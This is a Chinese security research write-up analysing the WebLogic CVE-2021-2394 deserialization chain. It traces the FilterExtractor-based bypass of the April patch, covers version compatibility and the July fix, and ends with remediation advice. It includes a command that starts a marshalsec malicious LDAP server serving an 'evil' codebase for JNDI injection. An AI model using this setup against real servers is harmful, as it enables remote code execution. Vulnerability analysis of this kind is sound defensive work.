Weblogic CVE-2021-2394 分析

阅读量166526

发布时间 : 2021-08-16 10:30:33

 

作者:白帽汇安全研究院@kejaly

校对:白帽汇安全研究院@r4v3zn

前言

在2021年7月21日,Oracle官方 发布了一系列安全更新。涉及旗下产品(Weblogic Server、Database Server、Java SE、MySQL等)的 342 个漏洞,https://www.oracle.com/security-alerts/cpujul2021.htm。其中,Oracle WebLogic Server 产品中有高危漏洞,漏洞编号为 CVE-2021-2594,CVSS 评分9.8分,影响多个 WebLogic 版本,且漏洞利用难度低,可基于 T3 和 IIOP 协议执行远程代码。

经过分析,此次漏洞结合了 CVE-2020-14756 和 CVE-2020-14825 反序列化链,利用FilterExtractor 这个类来对4月份补丁进行绕过。

 

补丁回顾

在4月份补丁中,对 ExternalizableHelper 中的 readExternalizable 做了修改,增加了对传入的 DataInput 判断,如果是 ObjectInputStream 类型就会调用 checkObjectInputFilter 函数进行过滤。所以再利用 CVE-2020-14756 中直接反序列化 com.tangosol.coherence.rest.util.extractor.MvelExtractor 来造成 RCE 的方法已经行不通了。

 

调试环境

本文基于 win7 虚拟机 + Weblogic 12.1.4 版本 + jdk 8u181 进行研究分析测试

修改目录 user_project/domains/base_domain/bin 目录中 setDomainEnv.cmd ,加if %debugFlag == "true"% 之前加入 set debugFlag=true

拷贝 Oracle_Home 目录下所有文件至调试目录,将 \coherence\lib\oracle_common\modules 目录下所有文件添加到 Libraries:

配置 idea 中 jdk 版本与虚拟机中运行的 weblogic jdk 版本保持一致。

添加 remote 调试:

 

漏洞利用

该漏洞主要是因为 FilterExtractorreadExternal 方法中会直接 new 一个 MethodAttributeAccessor 对象,使得生成 MethodAttributeAccessor的时候不会受到黑名单的限制,来对4月份的补丁进行绕过。

FilterExtractor 类具有如下特征:

1.FilterExtractor 实现了 ExternalizableLite 接口,重写了 readExternal 方法:

readExternal 会调用oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper#readAttributeAccessor 方法:

可以看到会 new 一个 MethodAttributeAccessor 对象,然后根据 DataInput 赋值它的 setAttributeNamesetGetMethodName 以及 setSetMethodName 属性(这就导致这三个属性是可控的)。

2.FilterExtractorextract 方法中存在 this.attributeAccessor.getAttributeValueFromObject() 的调用。

熟悉 coherence 组件的漏洞的朋友应该知道在 CVE-2020-14825 中,就是利用 MethodAttributeAccessor.getAttributeValueFromObject() 来实现任意无参方法的调用的。

虽然 MethodAttributeAccessor 已经加入到了黑名单,但是在上面提到的 readExternal 方法中恰好直接 new 了一个 MethodAttributeAccessor 对象,也就是说不是通过反序列化得到 MethodAttributeAccessor 对象,自然也就不受黑名单的影响。

调用链

完整调用链如下:

漏洞分析

根据构造的 poc ,我们首先在 AttributeHolder 类的 readExternal方法中打上断点,另一边则运行我们的 poc ,成功断下:

步入,会调用到 com.tangosol.util.ExternalizableHelper 中的 readObject 方法:

步入,最后会进入到 com.tangosol.util.ExternalizableHelper中的 readObjectInternal 方法中调用 readExternalizableLite 方法:

步入,在com.tangosol.util.ExternalizableHelper#readExternalizableLite 方法中,首先会调用 loadClass 去加载类,然后调用无参构造函数实例化一个对象,这里个加载的类是 com.tangosol.util.aggregator.TopNAggregator$PartialResult

随后会调用 com.tangosol.util.aggregator.TopNAggregator$PartialResult 类的 readExternal 方法:

步入,会再次调用 com.tangosol.util.ExternalizableHelper.readObject 方法来读取一个对象并且赋值到 this.m_comparator 中,

步入,之后会再次调用到 com.tangosol.util.ExternalizableHelper#readExternalizableLite 方法,由于这次读取的 sClassoracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor ,所以会实例化一个 FilterExtractor 对象,然后调用它的 readExternal 方法:

步入 ,来到 FilterExtractorreadExteral 中,会调用 oracle.eclipselink.coherence.integrated.internal.cache.SerializationHelper#readAttributeAccessor 方法:

步入,会 new 一个 MethodAttributeAccessor 对象,并且调用 com.tangosol.util.SerializationHelper#readObject 方法给 MethodAttributeAccessor 对象的 attributeName , getMethodNamesetMethodName 这三个属性赋值:

赋值之后的结果为:

再回到之前的 com.tangosol.util.aggregator.TopNAggregator$PartialResult 类的 readExternal 方法中,this.m_comparator 变成了上面 oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor 对象:

接着在 182 行,会调用 this.instantiateInternalMap(this.m_comparator) 方法,步入,会把 FilterExtractor再封装到 WrapperCompator 中,然后传入 TreeMap的构造函数,实例化一个 TreeMap 对象并且返回:

186 行,调用 this.add 方法,这里 ExternalizableHelper.readObject(in)返回的是 JdbcRowSetImpl 对象

接着步入 super.add 方法:

然后会调用 TreeMap.put 方法,添加传入的 JdbcRowSetImpl 对象,最后会来到 com.tangosol.util.WrapperComparator#compare 方法并触发 this.f_comparator.compare 方法, this.f_comparator 正是之前传入的 FilterExtractor 对象:

步入,会调用 com.tangosol.util.extractor#compare 方法,这个方法中又会调用到 this.extract 方法,也就是会调用 FilterExtractor#extract方法,进而调用 this.attributeAccessorinitializeAttributes 方法, 而此时的 this.attributeAccssorMethodAttributeAccessor 对象,所以会调用 MethodAttributeAccessor#initializeAttributes 方法:

MethodAttributeAccessor 中的 initializeAttributes 方法中首先会调用 this.setGetMethod 方法来设置 MethodAttributeAccessorgetMethod

其中 Helper.getDeclaredMethod 方法流程如下,是通过传入的类,方法名,以及参数类型来得到对应 classMethod

此时由于 theJavaClasscom.sun.rowset.JdbcRowSetImpl, this.getMethodName"prepare" ,所以第一次得到的 prepare 方法:

与 CVE-2020-14825 的反序列化流程不同的是, 因为在 initializeAttributes 的时候,我们不能再通过控制 isWriteOnly 属性为 true ,所以会进入到下面这个 if 分支里面去:

会先调用 this.getSetMethodParameterTypes 得到 this.getGetMethod 属性代表的方法的返回值:

this.getGetMethod 在上一步赋值为了 protected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLException

所以这里 this.getSetMethodParameterTypes 方法得到的是 java.sql.PreparedStatement类型:

然后调用Helper.getDeclaredMethod(theJavaClass, this.getSetMethodName(), this.getSetMethodParameterTypes()); 就会得到 protected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLException 方法。

initializeAttributes 结束后 MethodAttributeAccessor的属性值:

接着,回到 FilterExtractor#extract 方法中,会继续调用 this.attributeAccessor.getAttributeValueFromObject 也就是调用 MethodAttributeAccessor.getAttributeValueFromObject 方法:

步入:

步入,会利用反射调用方法:

此时 this.getMethodprotected java.sql.PreparedStatement com.sun.rowset.JdbcRowSetImpl.prepare() throws java.sql.SQLExceptionabObjectJbbcRoeSetImpl

这就导致了 jndi 注入的产生:

我们在本地使用 marshalsec 搭建恶意 jndi 服务端:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.1.1:8000/#evil 1389
python -m http.server

成功 RCE:

jndi 版本问题

在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被设置为false,所以此 ldap + jndi 导致 RCE 的方法失效。

在使用基于 TopNAggregator.PartialResult 的 poc 对官网说的版本进行复现的时候,发现 10.3.6.0.0 版本中并不存在 com.tangosol.util.SortedBagcom.tangosol.util.aggregator.TopNAggregator 这两个类:

缺少 SortedBag

缺少 TopNAggregator

weblogic 版本问题

使用不同 weblogic 版本的 jar 包对不同版本的 weblogic 进行测试,经过测试研究发现以下情况:

jar 版本 weblogic 版本 成功情况
12.1.3.0.0 12.1.3.0.0 成功
12.1.3.0.0 12.2.1.3.0 失败
12.1.3.0.0 12.2.1.4.0 失败
12.1.3.0.0 14.1.1.0.0 失败
12.2.1.3.0 12.1.3.0.0 失败
12.2.1.3.0 12.2.1.3.0 成功
12.2.1.3.0 12.2.1.4.0 成功
12.2.1.3.0 14.1.1.0.0 成功
12.2.1.4.0 12.1.3.0.0 失败
12.2.1.4.0 12.2.1.3.0 成功
12.2.1.4.0 12.2.1.4.0 成功
12.2.1.4.0 14.1.1.0.0 成功
14.1.1.0.0 12.1.3.0.0 失败
14.1.1.0.0 12.2.1.3.0 成功
14.1.1.0.0 12.2.1.4.0 成功
14.1.1.0.0 14.1.1.0.0 成功

 

7月份补丁影响

打了7月份补丁之后,会报错:

原因是在 WebLogicFilterConfig 类的DEFAULT_BLACKLIST_PACKAGES 字段中新增了 oracle.eclipselink.coherence.integrated.internal.querying 这个包:

FilterExtractor 类正好在 oracle.eclipselink.coherence.integrated.internal.querying 包下面,所以导致被黑名单拦截了下来。

 

修复建议

通用修补建议

Oracle官方已经发布补丁,及时进行更新:https://www.oracle.com/security-alerts/cpujul2021.html

Weblogic 临时修补建议

  1. 如果不依赖 T3协议进行 JVM通信,可禁用 T3协议。
  2. 如果不依赖 IIOP协议进行 JVM通信,可禁用 IIOP协议。

 

参考

https://www.cnblogs.com/potatsoSec/p/15062094.html

https://mp.weixin.qq.com/s/LbMB-2Qyrh3Lrqc_vsKIdA

本文由白帽汇安全研究院原创发布

转载,请参考转载声明,注明出处: https://www.anquanke.com/post/id/250468

安全客 - 有思想的安全新媒体

分享到:微信
+10赞
收藏
白帽汇安全研究院
分享到:微信

发表评论

内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66